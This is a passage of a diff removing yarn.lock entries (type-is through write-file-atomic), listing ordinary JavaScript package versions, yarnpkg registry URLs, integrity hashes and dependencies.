sha512-qpaThT2HQkFb83gMOrdKVsfCN7LKxP26Yq+smPzY1FqoHRjqmjqHXA7n5Gkxi8efirtbeEUxzfEdePthQWCuHw== - -type-is@~1.6.18: - version "1.6.18" - resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131" - integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g== - dependencies: - media-typer "0.3.0" - mime-types "~2.1.24" - -typedarray-to-buffer@^3.1.5: - version "3.1.5" - resolved "https://registry.yarnpkg.com/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz#a97ee7a9ff42691b9f783ff1bc5112fe3fca9080" - integrity sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q== - dependencies: - is-typedarray "^1.0.0" - -ua-parser-js@^0.7.30: - version "0.7.33" - resolved "https://registry.yarnpkg.com/ua-parser-js/-/ua-parser-js-0.7.33.tgz#1d04acb4ccef9293df6f70f2c3d22f3030d8b532" - integrity sha512-s8ax/CeZdK9R/56Sui0WM6y9OFREJarMRHqLB2EwkovemBxNQ+Bqu8GAsUnVcXKgphb++ghr/B2BZx4mahujPw== - -unherit@^1.0.4: - version "1.1.3" - resolved "https://registry.yarnpkg.com/unherit/-/unherit-1.1.3.tgz#6c9b503f2b41b262330c80e91c8614abdaa69c22" - integrity sha512-Ft16BJcnapDKp0+J/rqFC3Rrk6Y/Ng4nzsC028k2jdDII/rdZ7Wd3pPT/6+vIIxRagwRc9K0IUX0Ra4fKvw+WQ== - dependencies: - inherits "^2.0.0" - xtend "^4.0.0" - -unicode-canonical-property-names-ecmascript@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz#301acdc525631670d39f6146e0e77ff6bbdebddc" - integrity sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ== - -unicode-match-property-ecmascript@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz#54fd16e0ecb167cf04cf1f756bdcc92eba7976c3" - integrity sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q== - dependencies: - unicode-canonical-property-names-ecmascript "^2.0.0" - unicode-property-aliases-ecmascript "^2.0.0" - -unicode-match-property-value-ecmascript@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz#1a01aa57247c14c568b89775a54938788189a714" - integrity sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw== - -unicode-property-aliases-ecmascript@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz#0a36cb9a585c4f6abd51ad1deddb285c165297c8" - integrity sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ== - -unified@9.2.0: - version "9.2.0" - resolved "https://registry.yarnpkg.com/unified/-/unified-9.2.0.tgz#67a62c627c40589edebbf60f53edfd4d822027f8" - integrity sha512-vx2Z0vY+a3YoTj8+pttM3tiJHCwY5UFbYdiWrwBEbHmK8pvsPj2rtAX2BFfgXen8T39CJWblWRDT4L5WGXtDdg== - dependencies: - bail "^1.0.0" - extend "^3.0.0" - is-buffer "^2.0.0" - is-plain-obj "^2.0.0" - trough "^1.0.0" - vfile "^4.0.0" - -unified@^9.0.0, unified@^9.2.2: - version "9.2.2" - resolved "https://registry.yarnpkg.com/unified/-/unified-9.2.2.tgz#67649a1abfc3ab85d2969502902775eb03146975" - integrity sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ== - dependencies: - bail "^1.0.0" - extend "^3.0.0" - is-buffer "^2.0.0" - is-plain-obj "^2.0.0" - trough "^1.0.0" - vfile "^4.0.0" - -unique-string@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-2.0.0.tgz#39c6451f81afb2749de2b233e3f7c5e8843bd89d" - integrity sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg== - dependencies: - crypto-random-string "^2.0.0" - -unist-builder@2.0.3, unist-builder@^2.0.0: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-builder/-/unist-builder-2.0.3.tgz#77648711b5d86af0942f334397a33c5e91516436" - integrity sha512-f98yt5pnlMWlzP539tPc4grGMsFaQQlP/vM396b00jngsiINumNmsY8rkXjfoi1c6QaM8nQ3vaGDuoKWbe/1Uw== - -unist-util-find-after@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/unist-util-find-after/-/unist-util-find-after-3.0.0.tgz#5c65fcebf64d4f8f496db46fa8fd0fbf354b43e6" - integrity sha512-ojlBqfsBftYXExNu3+hHLfJQ/X1jYY/9vdm4yZWjIbf0VuWF6CRufci1ZyoD/wV2TYMKxXUoNuoqwy+CkgzAiQ== - dependencies: - unist-util-is "^4.0.0" - -unist-util-generated@^1.0.0: - version "1.1.6" - resolved "https://registry.yarnpkg.com/unist-util-generated/-/unist-util-generated-1.1.6.tgz#5ab51f689e2992a472beb1b35f2ce7ff2f324d4b" - integrity sha512-cln2Mm1/CZzN5ttGK7vkoGw+RZ8VcUH6BtGbq98DDtRGquAAOXig1mrBQYelOwMXYS8rK+vZDyyojSjp7JX+Lg== - -unist-util-is@^4.0.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/unist-util-is/-/unist-util-is-4.1.0.tgz#976e5f462a7a5de73d94b706bac1b90671b57797" - integrity sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg== - -unist-util-position@^3.0.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/unist-util-position/-/unist-util-position-3.1.0.tgz#1c42ee6301f8d52f47d14f62bbdb796571fa2d47" - integrity sha512-w+PkwCbYSFw8vpgWD0v7zRCl1FpY3fjDSQ3/N/wNd9Ffa4gPi8+4keqt99N3XW6F99t/mUzp2xAhNmfKWp95QA== - -unist-util-remove-position@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/unist-util-remove-position/-/unist-util-remove-position-2.0.1.tgz#5d19ca79fdba712301999b2b73553ca8f3b352cc" - integrity sha512-fDZsLYIe2uT+oGFnuZmy73K6ZxOPG/Qcm+w7jbEjaFcJgbQ6cqjs/eSPzXhsmGpAsWPkqZM9pYjww5QTn3LHMA== - dependencies: - unist-util-visit "^2.0.0" - -unist-util-remove@^2.0.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/unist-util-remove/-/unist-util-remove-2.1.0.tgz#b0b4738aa7ee445c402fda9328d604a02d010588" - integrity sha512-J8NYPyBm4baYLdCbjmf1bhPu45Cr1MWTm77qd9istEkzWpnN6O9tMsEbB2JhNnBCqGENRqEWomQ+He6au0B27Q== - dependencies: - unist-util-is "^4.0.0" - -unist-util-stringify-position@^2.0.0: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz#cce3bfa1cdf85ba7375d1d5b17bdc4cada9bd9da" - integrity sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g== - dependencies: - "@types/unist" "^2.0.2" - -unist-util-visit-parents@^3.0.0: - version "3.1.1" - resolved "https://registry.yarnpkg.com/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz#65a6ce698f78a6b0f56aa0e88f13801886cdaef6" - integrity sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg== - dependencies: - "@types/unist" "^2.0.0" - unist-util-is "^4.0.0" - -unist-util-visit@2.0.3, unist-util-visit@^2.0.0, unist-util-visit@^2.0.3: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-util-visit/-/unist-util-visit-2.0.3.tgz#c3703893146df47203bb8a9795af47d7b971208c" - integrity sha512-iJ4/RczbJMkD0712mGktuGpm/U4By4FfDonL7N/9tATGIF4imikjOuagyMY53tnZq3NP6BcmlrHhEKAfGWjh7Q== - dependencies: - "@types/unist" "^2.0.0" - unist-util-is "^4.0.0" - unist-util-visit-parents "^3.0.0" - -universalify@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.0.tgz#75a4984efedc4b08975c5aeb73f530d02df25717" - integrity sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ== - -unpipe@1.0.0, unpipe@~1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" - integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ== - -update-browserslist-db@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.0.4.tgz#dbfc5a789caa26b1db8990796c2c8ebbce304824" - integrity sha512-jnmO2BEGUjsMOe/Fg9u0oczOe/ppIDZPebzccl1yDWGLFP16Pa1/RM5wEoKYPG2zstNcDuAStejyxsOuKINdGA== - dependencies: - escalade "^3.1.1" - picocolors "^1.0.0" - -update-notifier@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/update-notifier/-/update-notifier-5.1.0.tgz#4ab0d7c7f36a231dd7316cf7729313f0214d9ad9" - integrity sha512-ItnICHbeMh9GqUy31hFPrD1kcuZ3rpxDZbf4KUDavXwS0bW5m7SLbDQpGX3UYr072cbrF5hFUs3r5tUsPwjfHw== - dependencies: - boxen "^5.0.0" - chalk "^4.1.0" - configstore "^5.0.1" - has-yarn "^2.1.0" - import-lazy "^2.1.0" - is-ci "^2.0.0" - is-installed-globally "^0.4.0" - is-npm "^5.0.0" - is-yarn-global "^0.3.0" - latest-version "^5.1.0" - pupa "^2.1.1" - semver "^7.3.4" - semver-diff "^3.1.1" - xdg-basedir "^4.0.0" - -uri-js@^4.2.2: - version "4.4.1" - resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e" - integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg== - dependencies: - punycode "^2.1.0" - -url-loader@^4.1.1: - version "4.1.1" - resolved "https://registry.yarnpkg.com/url-loader/-/url-loader-4.1.1.tgz#28505e905cae158cf07c92ca622d7f237e70a4e2" - integrity sha512-3BTV812+AVHHOJQO8O5MkWgZ5aosP7GnROJwvzLS9hWDj00lZ6Z0wNak423Lp9PBZN05N+Jk/N5Si8jRAlGyWA== - dependencies: - loader-utils "^2.0.0" - mime-types "^2.1.27" - schema-utils "^3.0.0" - -use-composed-ref@^1.3.0: - version "1.3.0" - resolved "https://registry.yarnpkg.com/use-composed-ref/-/use-composed-ref-1.3.0.tgz#3d8104db34b7b264030a9d916c5e94fbe280dbda" - integrity sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ== - -use-isomorphic-layout-effect@^1.1.1: - version "1.1.2" - resolved "https://registry.yarnpkg.com/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.2.tgz#497cefb13d863d687b08477d9e5a164ad8c1a6fb" - integrity sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA== - -use-latest@^1.2.1: - version "1.2.1" - resolved "https://registry.yarnpkg.com/use-latest/-/use-latest-1.2.1.tgz#d13dfb4b08c28e3e33991546a2cee53e14038cf2" - integrity sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw== - dependencies: - use-isomorphic-layout-effect "^1.1.1" - -use-sync-external-store@^1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/use-sync-external-store/-/use-sync-external-store-1.2.0.tgz#7dbefd6ef3fe4e767a0cf5d7287aacfb5846928a" - integrity sha512-eEgnFxGQ1Ife9bzYs6VLi8/4X6CObHMw9Qr9tPY43iKwsPw8xE8+EFsf/2cFZ5S3esXgpWgtSCtLNS41F+sKPA== - -util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1: - version "1.0.2" - resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf" - integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw== - -utila@~0.4: - version "0.4.0" - resolved "https://registry.yarnpkg.com/utila/-/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c" - integrity sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA== - -utility-types@^3.10.0: - version "3.10.0" - resolved "https://registry.yarnpkg.com/utility-types/-/utility-types-3.10.0.tgz#ea4148f9a741015f05ed74fd615e1d20e6bed82b" - integrity sha512-O11mqxmi7wMKCo6HKFt5AhO4BwY3VV68YU07tgxfz8zJTIxr4BpsezN49Ffwy9j3ZpwwJp4fkRwjRzq3uWE6Rg== - -utils-merge@1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713" - integrity sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA== - -uuid@^8.3.2: - version "8.3.2" - resolved "https://registry.yarnpkg.com/uuid/-/uuid-8.3.2.tgz#80d5b5ced271bb9af6c445f21a1a04c606cefbe2" - integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg== - -value-equal@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/value-equal/-/value-equal-1.0.1.tgz#1e0b794c734c5c0cade179c437d356d931a34d6c" - integrity sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw== - -vary@~1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc" - integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg== - -vfile-location@^3.0.0, vfile-location@^3.2.0: - version "3.2.0" - resolved "https://registry.yarnpkg.com/vfile-location/-/vfile-location-3.2.0.tgz#d8e41fbcbd406063669ebf6c33d56ae8721d0f3c" - integrity sha512-aLEIZKv/oxuCDZ8lkJGhuhztf/BW4M+iHdCwglA/eWc+vtuRFJj8EtgceYFX4LRjOhCAAiNHsKGssC6onJ+jbA== - -vfile-message@^2.0.0: - version "2.0.4" - resolved "https://registry.yarnpkg.com/vfile-message/-/vfile-message-2.0.4.tgz#5b43b88171d409eae58477d13f23dd41d52c371a" - integrity sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ== - dependencies: - "@types/unist" "^2.0.0" - unist-util-stringify-position "^2.0.0" - -vfile@^4.0.0: - version "4.2.1" - resolved "https://registry.yarnpkg.com/vfile/-/vfile-4.2.1.tgz#03f1dce28fc625c625bc6514350fbdb00fa9e624" - integrity sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA== - dependencies: - "@types/unist" "^2.0.0" - is-buffer "^2.0.0" - unist-util-stringify-position "^2.0.0" - vfile-message "^2.0.0" - -wait-on@^6.0.1: - version "6.0.1" - resolved "https://registry.yarnpkg.com/wait-on/-/wait-on-6.0.1.tgz#16bbc4d1e4ebdd41c5b4e63a2e16dbd1f4e5601e" - integrity sha512-zht+KASY3usTY5u2LgaNqn/Cd8MukxLGjdcZxT2ns5QzDmTFc4XoWBgC+C/na+sMRZTuVygQoMYwdcVjHnYIVw== - dependencies: - axios "^0.25.0" - joi "^17.6.0" - lodash "^4.17.21" - minimist "^1.2.5" - rxjs "^7.5.4" - -watchpack@^2.4.0: - version "2.4.0" - resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.4.0.tgz#fa33032374962c78113f93c7f2fb4c54c9862a5d" - integrity sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg== - dependencies: - glob-to-regexp "^0.4.1" - graceful-fs "^4.1.2" - -wbuf@^1.1.0, wbuf@^1.7.3: - version "1.7.3" - resolved "https://registry.yarnpkg.com/wbuf/-/wbuf-1.7.3.tgz#c1d8d149316d3ea852848895cb6a0bfe887b87df" - integrity sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA== - dependencies: - minimalistic-assert "^1.0.0" - -web-namespaces@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/web-namespaces/-/web-namespaces-1.1.4.tgz#bc98a3de60dadd7faefc403d1076d529f5e030ec" - integrity sha512-wYxSGajtmoP4WxfejAPIr4l0fVh+jeMXZb08wNc0tMg6xsfZXj3cECqIK0G7ZAqUq0PP8WlMDtaOGVBTAWztNw== - -webidl-conversions@^3.0.0: - version "3.0.1" - resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz#24534275e2a7bc6be7bc86611cc16ae0a5654871" - integrity sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ== - -webpack-bundle-analyzer@^4.5.0: - version "4.5.0" - resolved "https://registry.yarnpkg.com/webpack-bundle-analyzer/-/webpack-bundle-analyzer-4.5.0.tgz#1b0eea2947e73528754a6f9af3e91b2b6e0f79d5" - integrity sha512-GUMZlM3SKwS8Z+CKeIFx7CVoHn3dXFcUAjT/dcZQQmfSZGvitPfMob2ipjai7ovFFqPvTqkEZ/leL4O0YOdAYQ== - dependencies: - acorn "^8.0.4" - acorn-walk "^8.0.0" - chalk "^4.1.0" - commander "^7.2.0" - gzip-size "^6.0.0" - lodash "^4.17.20" - opener "^1.5.2" - sirv "^1.0.7" - ws "^7.3.1" - -webpack-dev-middleware@^5.3.1: - version "5.3.3" - resolved "https://registry.yarnpkg.com/webpack-dev-middleware/-/webpack-dev-middleware-5.3.3.tgz#efae67c2793908e7311f1d9b06f2a08dcc97e51f" - integrity sha512-hj5CYrY0bZLB+eTO+x/j67Pkrquiy7kWepMHmUMoPsmcUaeEnQJqFzHJOyxgWlq746/wUuA64p9ta34Kyb01pA== - dependencies: - colorette "^2.0.10" - memfs "^3.4.3" - mime-types "^2.1.31" - range-parser "^1.2.1" - schema-utils "^4.0.0" - -webpack-dev-server@^4.9.3: - version "4.11.1" - resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-4.11.1.tgz#ae07f0d71ca0438cf88446f09029b92ce81380b5" - integrity sha512-lILVz9tAUy1zGFwieuaQtYiadImb5M3d+H+L1zDYalYoDl0cksAB1UNyuE5MMWJrG6zR1tXkCP2fitl7yoUJiw== - dependencies: - "@types/bonjour" "^3.5.9" - "@types/connect-history-api-fallback" "^1.3.5" - "@types/express" "^4.17.13" - "@types/serve-index" "^1.9.1" - "@types/serve-static" "^1.13.10" - "@types/sockjs" "^0.3.33" - "@types/ws" "^8.5.1" - ansi-html-community "^0.0.8" - bonjour-service "^1.0.11" - chokidar "^3.5.3" - colorette "^2.0.10" - compression "^1.7.4" - connect-history-api-fallback "^2.0.0" - default-gateway "^6.0.3" - express "^4.17.3" - graceful-fs "^4.2.6" - html-entities "^2.3.2" - http-proxy-middleware "^2.0.3" - ipaddr.js "^2.0.1" - open "^8.0.9" - p-retry "^4.5.0" - rimraf "^3.0.2" - schema-utils "^4.0.0" - selfsigned "^2.1.1" - serve-index "^1.9.1" - sockjs "^0.3.24" - spdy "^4.0.2" - webpack-dev-middleware "^5.3.1" - ws "^8.4.2" - -webpack-merge@^5.8.0: - version "5.8.0" - resolved "https://registry.yarnpkg.com/webpack-merge/-/webpack-merge-5.8.0.tgz#2b39dbf22af87776ad744c390223731d30a68f61" - integrity sha512-/SaI7xY0831XwP6kzuwhKWVKDP9t1QY1h65lAFLbZqMPIuYcD9QAW4u9STIbU9kaJbPBB/geU/gLr1wDjOhQ+Q== - dependencies: - clone-deep "^4.0.1" - wildcard "^2.0.0" - -webpack-sources@^3.2.2, webpack-sources@^3.2.3: - version "3.2.3" - resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-3.2.3.tgz#2d4daab8451fd4b240cc27055ff6a0c2ccea0cde" - integrity sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w== - -webpack@^5.73.0: - version "5.76.1" - resolved "https://registry.yarnpkg.com/webpack/-/webpack-5.76.1.tgz#7773de017e988bccb0f13c7d75ec245f377d295c" - integrity sha512-4+YIK4Abzv8172/SGqObnUjaIHjLEuUasz9EwQj/9xmPPkYJy2Mh03Q/lJfSD3YLzbxy5FeTq5Uw0323Oh6SJQ== - dependencies: - "@types/eslint-scope" "^3.7.3" - "@types/estree" "^0.0.51" - "@webassemblyjs/ast" "1.11.1" - "@webassemblyjs/wasm-edit" "1.11.1" - "@webassemblyjs/wasm-parser" "1.11.1" - acorn "^8.7.1" - acorn-import-assertions "^1.7.6" - browserslist "^4.14.5" - chrome-trace-event "^1.0.2" - enhanced-resolve "^5.10.0" - es-module-lexer "^0.9.0" - eslint-scope "5.1.1" - events "^3.2.0" - glob-to-regexp "^0.4.1" - graceful-fs "^4.2.9" - json-parse-even-better-errors "^2.3.1" - loader-runner "^4.2.0" - mime-types "^2.1.27" - neo-async "^2.6.2" - schema-utils "^3.1.0" - tapable "^2.1.1" - terser-webpack-plugin "^5.1.3" - watchpack "^2.4.0" - webpack-sources "^3.2.3" - -webpackbar@^5.0.2: - version "5.0.2" - resolved "https://registry.yarnpkg.com/webpackbar/-/webpackbar-5.0.2.tgz#d3dd466211c73852741dfc842b7556dcbc2b0570" - integrity sha512-BmFJo7veBDgQzfWXl/wwYXr/VFus0614qZ8i9znqcl9fnEdiVkdbi0TedLQ6xAK92HZHDJ0QmyQ0fmuZPAgCYQ== - dependencies: - chalk "^4.1.0" - consola "^2.15.3" - pretty-time "^1.1.0" - std-env "^3.0.1" - -websocket-driver@>=0.5.1, websocket-driver@^0.7.4: - version "0.7.4" - resolved "https://registry.yarnpkg.com/websocket-driver/-/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760" - integrity sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg== - dependencies: - http-parser-js ">=0.5.1" - safe-buffer ">=5.1.0" - websocket-extensions ">=0.1.1" - -websocket-extensions@>=0.1.1: - version "0.1.4" - resolved "https://registry.yarnpkg.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42" - integrity sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg== - -whatwg-url@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-5.0.0.tgz#966454e8765462e37644d3626f6742ce8b70965d" - integrity sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw== - dependencies: - tr46 "~0.0.3" - webidl-conversions "^3.0.0" - -which@^1.3.1: - version "1.3.1" - resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a" - integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ== - dependencies: - isexe "^2.0.0" - -which@^2.0.1: - version "2.0.2" - resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1" - integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA== - dependencies: - isexe "^2.0.0" - -widest-line@^3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/widest-line/-/widest-line-3.1.0.tgz#8292333bbf66cb45ff0de1603b136b7ae1496eca" - integrity sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg== - dependencies: - string-width "^4.0.0" - -widest-line@^4.0.1: - version "4.0.1" - resolved "https://registry.yarnpkg.com/widest-line/-/widest-line-4.0.1.tgz#a0fc673aaba1ea6f0a0d35b3c2795c9a9cc2ebf2" - integrity sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig== - dependencies: - string-width "^5.0.1" - -wildcard@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/wildcard/-/wildcard-2.0.0.tgz#a77d20e5200c6faaac979e4b3aadc7b3dd7f8fec" - integrity sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw== - -wrap-ansi@^7.0.0: - version "7.0.0" - resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43" - integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== - dependencies: - ansi-styles "^4.0.0" - string-width "^4.1.0" - strip-ansi "^6.0.0" - -wrap-ansi@^8.0.1: - version "8.0.1" - resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-8.0.1.tgz#2101e861777fec527d0ea90c57c6b03aac56a5b3" - integrity sha512-QFF+ufAqhoYHvoHdajT/Po7KoXVBPXS2bgjIam5isfWJPfIOnQZ50JtUiVvCv/sjgacf3yRrt2ZKUZ/V4itN4g== - dependencies: - ansi-styles "^6.1.0" - string-width "^5.0.1" - strip-ansi "^7.0.1" - -wrappy@1: - version "1.0.2" - resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f" - integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ== - -write-file-atomic@^3.0.0: - version "3.0.3" - resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-3.0.3.tgz#56bd5c5a5c70481cd19c571bd39ab965a5de56e8" - integrity sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q== - dependencies: - imurmurhash "^0.1.4" - is-typedarray "^1.0.0" - signal-exit "^3.0.2" - 